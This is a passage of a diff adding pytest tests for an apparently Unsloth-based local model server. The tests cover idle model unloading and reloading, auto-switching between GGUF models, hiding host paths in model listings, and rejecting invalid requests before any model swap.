+    assert settings.get_auto_unload_idle_seconds() == 600
+    assert settings.get_stored_auto_unload_idle_seconds() == 600
+
+
+def test_stored_idle_value_overrides_env_and_stays_gated(monkeypatch):
+    # An explicit stored value wins over the env default and remains gated on the
+    # auto-switch toggle.
+    store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 30}
+    monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d))
+    monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600")
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    assert settings.get_auto_unload_idle_seconds() == 30  # stored wins, not env
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
+    assert settings.get_auto_unload_idle_seconds() == 0  # explicit value still gated off
+
+
+def test_env_idle_ttl_invalid_is_ignored(monkeypatch):
+    monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d)
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
+    monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "not-a-number")
+    assert settings.get_auto_unload_idle_seconds() == 0
+    monkeypatch.delenv("UNSLOTH_MODEL_IDLE_TTL", raising = False)
+    assert settings.get_auto_unload_idle_seconds() == 0
+
+
+# ── codex/gemini round: standalone-idle reload, path-as-id, embeddings input, retrieve id ──
+
+
+def test_env_idle_standalone_reloads_freed_model_with_auto_switch_off(monkeypatch):
+    # C3: a standalone UNSLOTH_MODEL_IDLE_TTL (auto-switch OFF) freed the model on
+    # idle; the next request must restore exactly what was freed even though the
+    # resolver never runs while auto-switch is off.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)  # idle-unload emptied the slot
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = False,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),  # would switch if resolver ran
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600)  # standalone env TTL
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF"))
+    _run_hook("org/B-GGUF")
+    # Resolver skipped (auto-switch off), so only the stash reload runs: the freed A
+    # is restored, not the resolves_to target B.
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "/cache/snap/A"
+    assert rec.calls[0].gguf_variant == "Q4_K_M"
+
+
+def test_no_stash_reload_when_idle_off_and_auto_switch_off(monkeypatch):
+    # C3 guard: with both auto-switch and idle-unload off the hook is a pure no-op
+    # and must not resurrect a stashed model (that path only serves the idle feature).
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF"))
+    _run_hook("org/B-GGUF")
+    assert rec.calls == []
+
+
+def test_stash_reload_skipped_while_unsloth_model_active(monkeypatch):
+    # An Unsloth/Transformers model loaded after an idle-unload leaves the GGUF slot
+    # empty but is the live model; an unknown /v1 name must NOT resurrect the stale
+    # GGUF stash (that reload would tear the active Unsloth model down).
+    from types import SimpleNamespace
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)  # GGUF slot empty
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF"))
+    # An Unsloth model is the live backend.
+    monkeypatch.setattr(
+        inference_route,
+        "get_inference_backend",
+        lambda: SimpleNamespace(active_model_name = "unsloth/Qwen3-8B"),
+    )
+    _run_hook("gpt-4o-mini")
+    assert rec.calls == []  # stale GGUF not reloaded over the active Unsloth model
+
+
+def test_is_abs_path_id_distinguishes_path_from_repo_id():
+    assert resolver._is_abs_path_id("/abs/path/model.gguf") is True
+    assert resolver._is_abs_path_id("org/Repo-GGUF") is False
+    assert resolver._is_abs_path_id("Repo") is False
+
+
+def test_advertised_loader_id_prefers_alias_over_abs_path():
+    # C1: the ./models and LM Studio scanners report the on-disk path as info.id.
+    from types import SimpleNamespace
+
+    f = resolver._advertised_loader_id
+    # An absolute-path id falls back to the first non-path alias.
+    assert (
+        f(SimpleNamespace(id = "/home/me/models/x", model_id = "org/X-GGUF", display_name = "X"))
+        == "org/X-GGUF"
+    )
+    # No alias available: strip the path to a public id so a host path is never advertised.
+    assert (
+        f(
+            SimpleNamespace(
+                id = "/home/me/models/Qwen3-8B-Q4_K_M.gguf", model_id = None, display_name = None
+            )
+        )
+        == "Qwen3-8B-Q4_K_M"
+    )
+    # A normal repo id is advertised as-is.
+    assert (
+        f(SimpleNamespace(id = "org/X-GGUF", model_id = "org/X-GGUF", display_name = "X")) == "org/X-GGUF"
+    )
+
+
+def test_index_advertises_alias_not_filesystem_path(tmp_path, monkeypatch):
+    # C1 end-to-end: a scanner that reports the path as the id must not advertise the
+    # host path in /v1/models, yet the model stays resolvable by that path too.
+    from types import SimpleNamespace
+    import routes.models as models_route
+
+    gguf = tmp_path / "model-Q4_K_M.gguf"
+    gguf.write_bytes(b"x" * 32)
+    info = SimpleNamespace(
+        id = str(gguf),  # scanner uses the on-disk path as the id
+        path = str(gguf),
+        model_id = "org/Repo-GGUF",
+        display_name = "Repo",
+    )
+    monkeypatch.setattr(models_route, "_scan_models_dir", lambda *a, **k: [info])
+    monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: [])
+    monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path)
+    monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False)
+    resolver._scan = (0.0, {})
+
+    # The advertised id is the alias, never the absolute path.
+    advertised = sorted({entry.loader_id for entry in resolver._index().values()})
+    assert advertised == ["org/Repo-GGUF"]
+    # But the model is still resolvable by its on-disk path (an indexed alias).
+    resolver._scan = (0.0, {})
+    assert resolver.resolve_local_gguf(str(gguf)) is not None
+
+
+def test_build_index_survives_a_failing_scanner(tmp_path, monkeypatch):
+    # gemini: one bad scanner (e.g. a permission error on ./models) must drop only
+    # that source, not abort the whole index and lose what the others found.
+    from types import SimpleNamespace
+    import routes.models as models_route
+    import utils.paths as paths
+
+    def _boom(*a, **k):
+        raise OSError("permission denied")
+
+    lm_info = SimpleNamespace(
+        id = "org/Repo-GGUF", path = "/lm/Repo", model_id = "org/Repo-GGUF", display_name = "Repo"
+    )
+    monkeypatch.setattr(models_route, "_scan_models_dir", _boom)  # ./models blows up
+    monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: [])
+    monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path)
+    monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False)
+    monkeypatch.setattr(models_route, "_scan_lmstudio_dir", lambda *a, **k: [lm_info])
+    monkeypatch.setattr(paths, "legacy_hf_cache_dir", lambda: None)
+    monkeypatch.setattr(paths, "hf_default_cache_dir", lambda: None)
+    monkeypatch.setattr(paths, "lmstudio_model_dirs", lambda: [tmp_path])
+    # The on-disk GGUF check is covered elsewhere; here a found info becomes an entry.
+    monkeypatch.setattr(
+        resolver,
+        "_local_gguf_entry",
+        lambda loader_id, info: resolver._LocalGgufEntry(loader_id, "/lm/Repo", ()),
+    )
+    resolver._scan = (0.0, {})
+    index = resolver._build_index()
+    assert any(e.loader_id == "org/Repo-GGUF" for e in index.values())
+
+
+def test_info_has_local_gguf_reads_files_not_model_format(tmp_path):
+    # Codex: HF-cache GGUF snapshots leave model_format unset, so /v1/models must
+    # decide GGUF-ness from the on-disk files. A standalone .gguf (no model_format)
+    # is servable; a safetensors-only dir is not.
+    from types import SimpleNamespace
+
+    gguf = tmp_path / "model-Q4_K_M.gguf"
+    gguf.write_bytes(b"x" * 32)
+    assert resolver.info_has_local_gguf(SimpleNamespace(id = str(gguf), path = str(gguf))) is True
+
+    st = tmp_path / "safetensors_model"
+    st.mkdir()
+    (st / "model.safetensors").write_bytes(b"x" * 32)
+    assert resolver.info_has_local_gguf(SimpleNamespace(id = str(st), path = str(st))) is False
+
+
+def test_info_has_local_gguf_excludes_ollama_links(tmp_path):
+    # Codex P2: Ollama entries come from a scanner _build_index skips, so their
+    # advertised ids never resolve; the catalog must not report them as servable.
+    from types import SimpleNamespace
+
+    links = tmp_path / ".studio_links"
+    links.mkdir()
+    ollama_gguf = links / "model-Q4_K_M.gguf"
+    ollama_gguf.write_bytes(b"x" * 32)
+    assert (
+        resolver.info_has_local_gguf(SimpleNamespace(id = "ollama/foo:latest", path = str(ollama_gguf)))
+        is False
+    )
+    # The same GGUF outside an ollama-link dir is still servable.
+    plain = tmp_path / "model-Q4_K_M.gguf"
+    plain.write_bytes(b"x" * 32)
+    assert resolver.info_has_local_gguf(SimpleNamespace(id = str(plain), path = str(plain))) is True
+
+
+def test_embeddings_input_present_helper():
+    f = inference_route._embeddings_input_present
+    assert f({"input": "hi"}) is True
+    assert f({"input": ["a", "b"]}) is True
+    assert f({"input": [1, 2, 3]}) is True
+    assert f({}) is False
+    assert f({"input": ""}) is False
+    assert f({"input": []}) is False
+
+
+def test_embeddings_rejects_missing_input_before_switch(monkeypatch):
+    # C2: with auto-switch on, an embeddings request carrying no input must 400
+    # before the hook, so an invalid request never swaps the resident model.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")  # loaded
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(
+            inference_route.openai_embeddings(_json_body_request({"model": "org/B-GGUF"}), "tester")
+        )
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # no model switch happened
+
+
+def test_retrieve_model_tolerates_non_string_id(monkeypatch):
+    # G2: a model object with a non-string id (defensive) must be skipped rather
+    # than crashing the .lower() compare; a valid id is still found, unknown 404s.
+    from fastapi import HTTPException
+
+    async def _objs():
+        return [{"id": 123, "object": "model"}, {"id": "org/B-GGUF", "object": "model"}]
+
+    monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: [])  # nothing loaded
+    monkeypatch.setattr(inference_route, "_openai_catalog_objects", _objs)
+    obj = asyncio.run(inference_route.openai_retrieve_model("org/B-GGUF", "tester"))
+    assert obj["id"] == "org/B-GGUF"
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_retrieve_model("123", "tester"))
+    assert exc.value.status_code == 404
+
+
+def test_retrieve_model_resolves_raw_path_to_advertised_id(monkeypatch):
+    # Codex P2: a client caching the legacy absolute .gguf path must still retrieve
+    # a loaded auto-switch model. Its /v1/models entry is keyed by the advertised
+    # repo id (identifier = snapshot path), so the raw-path fallback must map the raw
+    # id to that advertised id, not public_model_id(path), or a loaded model 404s.
+    from types import SimpleNamespace
+
+    raw_path = "/cache/models--org--B-GGUF/snapshots/abc/model.gguf"
+    llama = SimpleNamespace(
+        is_loaded = True, model_identifier = raw_path, _openai_advertised_id = "org/B-GGUF"
+    )
+    infer = SimpleNamespace(active_model_name = None)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(inference_route, "get_inference_backend", lambda: infer)
+    monkeypatch.setattr(
+        inference_route,
+        "_openai_model_objects",
+        lambda: [{"id": "org/B-GGUF", "object": "model"}],
+    )
+
+    async def _empty():
+        return []
+
+    monkeypatch.setattr(inference_route, "_openai_catalog_objects", _empty)
+    obj = asyncio.run(inference_route.openai_retrieve_model(raw_path, "tester"))
+    assert obj["id"] == "org/B-GGUF" and obj["loaded"] is True
+
+
+def test_chat_streaming_n_gt_1_rejected_before_switch(monkeypatch):
+    # Codex P2: only the non-streaming GGUF path returns multiple choices, so
+    # stream=true + n>1 is invalid on every local serving path. Both fields are
+    # known pre-switch, so it must 400 before the switch rather than loading model B.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _chat_request(model = "org/B-GGUF", stream = True, n = 2)
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []
+
+
+def test_resolver_cache_stamped_after_slow_build(monkeypatch):
+    # Codex P2: the cache must be stamped AFTER _build_index. A scan slower than the
+    # TTL would otherwise store an already-expired cache and rebuild every request.
+    import core.inference.local_model_resolver as r
+
+    clock = {"t": 1000.0}
+    monkeypatch.setattr(r.time, "monotonic", lambda: clock["t"])
+    calls = {"n": 0}
+
+    def _slow_build():
+        calls["n"] += 1
+        clock["t"] += r._CACHE_TTL_S + 10.0  # the scan itself outlasts the TTL
+        return {}
+
+    monkeypatch.setattr(r, "_build_index", _slow_build)
+    r._scan = (0.0, {})
+    r._index()  # builds once, stamps post-scan
+    r._index()  # immediately after: must reuse the cache, not rebuild
+    assert calls["n"] == 1
+
+
+def test_keepwarm_does_not_stamp_activity_on_401(monkeypatch):
+    # Codex P2: the keep-warm middleware runs before auth, so a 401 must decrement
+    # the in-flight count without stamping activity, or unauthenticated probes would
+    # keep the model warm and block idle-unload.
+    import core.inference.llama_keepwarm as kw
+
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_pending", 0)
+    monkeypatch.setattr(kw, "_last_active", 100.0)
+
+    async def _recv():
+        return {"type": "http.request"}
+
+    async def _run(status_code):
+        async def _app(scope, receive, send):
+            await send({"type": "http.response.start", "status": status_code, "headers": []})
+            await send({"type": "http.response.body", "body": b"x", "more_body": False})
+
+        sent = []
+
+        async def _send(m):
+            sent.append(m)
+
+        mw = kw.LlamaKeepWarmMiddleware(_app)
+        await mw({"type": "http", "method": "POST", "path": "/v1/chat/completions"}, _recv, _send)
+
+    asyncio.run(_run(401))
+    assert kw._inflight == 0  # balanced (start then untracked end)
+    assert kw._last_active == 100.0  # activity NOT stamped for an auth failure
+    # A served (200) request still stamps activity.
+    asyncio.run(_run(200))
+    assert kw._inflight == 0
+    assert kw._last_active != 100.0
+
+
+# ── 10-reviewer round: automatic-load validation asymmetry, audio, preview, idle timer ──
+
+
+def _stash(monkeypatch, *, idle = 600):
+    """Common setup for the standalone-idle reload paths: feature off, idle TTL on,
+    an idle-freed model in the stash, nothing loaded, no in-flight requests."""
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: idle)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF"))
+
+
+def test_completions_prompt_present_helper():
+    f = inference_route._completions_prompt_present
+    assert f({"prompt": "hi"}) is True
+    assert f({"prompt": ["a", "b"]}) is True
+    assert f({}) is False
+    assert f({"prompt": ""}) is False
+    assert f({"prompt": []}) is False
+
+
+def test_completions_rejects_missing_prompt_before_switch(monkeypatch):
+    # #1: /v1/completions had no prompt pre-check, so a malformed request naming a
+    # different downloaded GGUF loaded it before failing. Now it 400s first.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(
+            inference_route.openai_completions(
+                _json_body_request({"model": "org/B-GGUF"}), "tester"
+            )
+        )
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # no switch before rejection
+
+
+def test_chat_system_only_rejected_before_idle_reload(monkeypatch):
+    # #4: the chat pre-load guard only checked auto-switch; a standalone idle TTL
+    # could still reload a system-only chat before the 400. Now it 400s first.
+    from fastapi import HTTPException
+    from models.inference import ChatCompletionRequest
+
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    _stash(monkeypatch)
+    payload = ChatCompletionRequest(model = "x", messages = [{"role": "system", "content": "sys"}])
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # no reload before rejection
+
+
+def test_embeddings_missing_input_rejected_before_idle_reload(monkeypatch):
+    # #5: same gap on /v1/embeddings; the missing-input 400 must fire under a
+    # standalone idle TTL too, not only when auto-switch is on.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    _stash(monkeypatch)
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_embeddings(_json_body_request({"model": "x"}), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # no reload before rejection
+
+
+def test_messages_does_not_503_before_reload_hook_when_idle_on(monkeypatch):
+    # #3: /v1/messages 503'd before the reload hook when auto-switch was off, so a
+    # standalone idle TTL could never restore the freed model. The early 503 now
+    # defers to any automatic-load trigger, so the reload hook runs.
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    _stash(monkeypatch)
+    # The handler proceeds past the hook to real generation (no llama-server here),
+    # so tolerate the downstream failure; the reload having run is the assertion.
+    try:
+        asyncio.run(
+            inference_route.anthropic_messages(
+                _anthropic_payload(max_tokens = 16), object(), "tester"
+            )
+        )
+    except Exception:
+        pass
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "/cache/snap/A"
+
+
+def test_messages_503_gated_on_automatic_load_predicate():
+    # Lock the #3 fix at the source: the early 503 must check the shared predicate.
+    import inspect
+    src = inspect.getsource(inference_route.anthropic_messages)
+    assert "_automatic_model_load_may_run" in src
+
+
+def test_raw_body_without_model_reloads_freed_model(monkeypatch):
+    # #6: a raw completions/embeddings body that omits `model` passed None, which
+    # skipped the idle-stash reload and 503'd. A non-empty sentinel now lets the
+    # reload run while still resolving as unknown.
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    _stash(monkeypatch)
+    body = asyncio.run(
+        inference_route._auto_switch_from_request_body(
+            _json_body_request({"prompt": "hi"}), "tester"
+        )
+    )
+    assert body == {"prompt": "hi"}
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "/cache/snap/A"
+    assert rec.calls[0].gguf_variant == "Q4_K_M"
+
+
+def test_audio_generate_reloads_idle_freed_model(monkeypatch):
+    # #2: /audio/generate is keep-warm-tracked but had no reload hook, so an
+    # idle-freed audio GGUF stayed unloaded. The hook now restores it.
+    from models.inference import ChatCompletionRequest
+
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    _stash(monkeypatch)
+    payload = ChatCompletionRequest(model = "x", messages = [{"role": "user", "content": "say hi"}])
+    # Falls through to the non-audio backend path (no real model) after the reload;
+    # tolerate that downstream failure, the reload having run is the assertion.
+    try:
+        asyncio.run(inference_route.generate_audio(payload, object(), "tester"))
+    except Exception:
+        pass
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "/cache/snap/A"
+
+
+def test_audio_generate_does_not_reload_on_invalid_request(monkeypatch):
+    # The audio reload hook must run after message validation, so an empty request
+    # never triggers a reload.
+    from fastapi import HTTPException
+    from models.inference import ChatCompletionRequest
+
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    _stash(monkeypatch)
+    payload = ChatCompletionRequest(model = "x", messages = [])
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.generate_audio(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []
+
+
+def test_preview_scope_disables_auto_switch(monkeypatch):
+    # #7: the public preview route delegates to the chat handler; a caller-supplied
+    # model must not switch away from the pinned checkpoint. The scope opt-out flag
+    # makes the hook a no-op.
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+
+    class _Req:
+        def __init__(self):
+            self.scope = {}
+
+    req = _Req()
+    inference_route.disable_openai_auto_switch_for_request(req.scope)
+    asyncio.run(inference_route._maybe_auto_switch_model("org/B-GGUF", req, "tester"))
+    assert rec.calls == []  # preview opt-out suppressed the switch
+
+    # Control: a fresh request without the flag would switch.
+    req2 = _Req()
+    asyncio.run(inference_route._maybe_auto_switch_model("org/B-GGUF", req2, "tester"))
+    assert len(rec.calls) == 1
+
+
+def test_preview_chat_is_tracked_as_inference_path():
+    # #8: long preview streams use the same backend; the keep-warm middleware must
+    # count them so the idle loop can't unload mid-response.
+    from core.inference.llama_keepwarm import _is_inference_path
+
+    assert _is_inference_path("/p/my-run/v1/chat/completions") is True
+    assert _is_inference_path("/p/my-run/ckpt-100/v1/chat/completions") is True
+    assert _is_inference_path("/p/my-run/v1/models") is False
+
+
+def test_untrack_does_not_reset_idle_timer():
+    # #9: external-provider traffic was keeping the local GGUF warm forever because
+    # untrack stamped _last_active. It must decrement in-flight without restamping.
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    kw._inflight = 1
+    kw._last_active = time.monotonic() - 3600
+    before = kw._last_active
+    scope = {"type": "http"}
+    kw.untrack_current_request(scope)
+    assert kw._inflight == 0
+    assert kw._last_active == before  # idle timer not reset by an untracked request
+    kw._inflight = 0
+
+
+def test_note_start_does_not_reset_idle_timer():
+    # The start stamp was removed so an external request that is later untracked
+    # cannot reset the timer at start either; in-flight count still protects it.
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    kw._inflight = 0
+    kw._pending = 0
+    kw._last_active = time.monotonic() - 3600
+    before = kw._last_active
+    kw._note_start()
+    try:
+        assert kw._inflight == 1
+        assert kw._last_active == before  # start no longer stamps activity
+        assert kw._is_idle(1.0) is False  # but in-flight still blocks unload
+    finally:
+        kw._note_end()  # restores _last_active stamp on completion
+
+
+# ── codex review (merge round): reload-only sentinel, Anthropic tool validation ──
+
+
+def test_omitted_model_does_not_resolve_to_a_named_gguf(monkeypatch):
+    # Codex P2: a raw-body request that omits `model` must never run the resolver,
+    # so a downloaded GGUF literally named "default" can't be switched to. The
+    # resolver here would switch to B if it ran; it must not.
+    backend = _FakeBackend("org/A-GGUF")  # a model is already loaded
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    body = asyncio.run(
+        inference_route._auto_switch_from_request_body(
+            _json_body_request({"prompt": "hi"}), "tester"
+        )
+    )
+    assert body == {"prompt": "hi"}
+    assert rec.calls == []  # resolver skipped (would have switched to B otherwise)
+
+
+def test_omitted_model_still_reloads_idle_freed_model(monkeypatch):
+    # The reload-only sentinel must still restore an idle-freed model (the round-9
+    # behavior), it just never runs the resolver.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)  # idle-unload emptied the slot
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF"))
+    asyncio.run(
+        inference_route._auto_switch_from_request_body(
+            _json_body_request({"prompt": "hi"}), "tester"
+        )
+    )
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "/cache/snap/A"
+
+
+def _anthropic_payload_with_tools(tools, max_tokens = 16):
+    from models.inference import AnthropicMessagesRequest, AnthropicMessage
+    return AnthropicMessagesRequest(
+        model = "org/B-GGUF",
+        max_tokens = max_tokens,
+        messages = [AnthropicMessage(role = "user", content = "hi")],
+        tools = tools,
+    )
+
+
+def test_anthropic_invalid_tool_rejected_before_switch(monkeypatch):
+    # Codex P2: a malformed client tool (no input_schema, no server-tool type) must
+    # 400 before the auto-switch hook, so an invalid request never evicts the model.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _anthropic_payload_with_tools([{"name": "broken"}])  # missing input_schema
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.anthropic_messages(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # rejected before the model load
+
+
+def test_anthropic_validates_tools_before_auto_switch():
+    # Lock the order at the source: tool-shape validation precedes the hook, for
+    # both /messages and /messages/count_tokens (shared helper).
+    import inspect
+    for fn in (inference_route.anthropic_messages, inference_route.anthropic_count_tokens):
+        src = inspect.getsource(fn)
+        assert src.index("_validate_anthropic_client_tools") < src.index("_maybe_auto_switch_model")
+
+
+def test_anthropic_mixed_tools_rejected_before_switch(monkeypatch):
+    # Codex P2: combining an Anthropic server tool (type) with a custom client tool
+    # (input_schema) is unsupported and must 400 before the switch, so the request
+    # can't evict the loaded model only to be rejected after the load.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _anthropic_payload_with_tools(
+        [
+            {"type": "web_search_20250305"},  # server tool
+            {"name": "my_func", "input_schema": {"type": "object"}},  # client tool
+        ]
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.anthropic_messages(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # rejected before the model load
+
+
+# ── codex review (round 2): schema-default model, Responses tool validation ──
+
+
+def _chat_msg(text = "hi"):
+    from models.inference import ChatMessage
+    return ChatMessage(role = "user", content = text)
+
+
+def _responses_payload(*, tools = None, set_model = True):
+    from models.inference import ResponsesRequest
+
+    kwargs = dict(input = "hi")
+    if set_model:
+        kwargs["model"] = "org/B-GGUF"
+    if tools is not None:
+        kwargs["tools"] = tools
+    return ResponsesRequest(**kwargs)
+
+
+def test_switch_model_for_payload_only_switches_when_explicit():
+    # Codex P2: an omitted `model` (pydantic fills "default") must be reload-only;
+    # an explicitly set model -- including a literal "default" -- is honored.
+    from models.inference import ChatCompletionRequest
+
+    omitted = ChatCompletionRequest(messages = [_chat_msg()])
+    assert inference_route._switch_model_for_payload(omitted) == inference_route._RELOAD_ONLY_MODEL
+    explicit_default = ChatCompletionRequest(model = "default", messages = [_chat_msg()])
+    assert inference_route._switch_model_for_payload(explicit_default) == "default"
+    explicit = ChatCompletionRequest(model = "org/B-GGUF", messages = [_chat_msg()])
+    assert inference_route._switch_model_for_payload(explicit) == "org/B-GGUF"
+
+
+def test_omitted_schema_model_skips_resolver(monkeypatch):
+    # End to end: a schema request omitting `model` must not run the resolver, so a
+    # GGUF named "default" is never swapped to; an explicit model still switches.
+    from models.inference import ChatCompletionRequest
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    omitted = ChatCompletionRequest(messages = [_chat_msg()])
+    asyncio.run(
+        inference_route._maybe_auto_switch_model(
+            inference_route._switch_model_for_payload(omitted), object(), "tester"
+        )
+    )
+    assert rec.calls == []  # resolver skipped
+    explicit = ChatCompletionRequest(model = "org/B-GGUF", messages = [_chat_msg()])
+    asyncio.run(
+        inference_route._maybe_auto_switch_model(
+            inference_route._switch_model_for_payload(explicit), object(), "tester"
+        )
+    )
+    assert len(rec.calls) == 1  # explicit model still switches
+
+
+def test_build_chat_request_propagates_omitted_model():
+    # _build_chat_request must not turn an omitted Responses model into an explicit
+    # "default", or the non-streaming chat re-check would switch on it.
+    omitted = _responses_payload(set_model = False)
+    chat_req = inference_route._build_chat_request(omitted, [_chat_msg()], stream = False)
+    assert "model" not in chat_req.model_fields_set
+    explicit = _responses_payload(set_model = True)
+    chat_req2 = inference_route._build_chat_request(explicit, [_chat_msg()], stream = False)
+    assert "model" in chat_req2.model_fields_set
+
+
+def test_responses_invalid_function_tool_rejected_before_switch(monkeypatch):
+    # Codex P2: a malformed function tool (no name) must 400 before the hook, so an
+    # invalid /v1/responses request never switches or evicts the loaded model.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
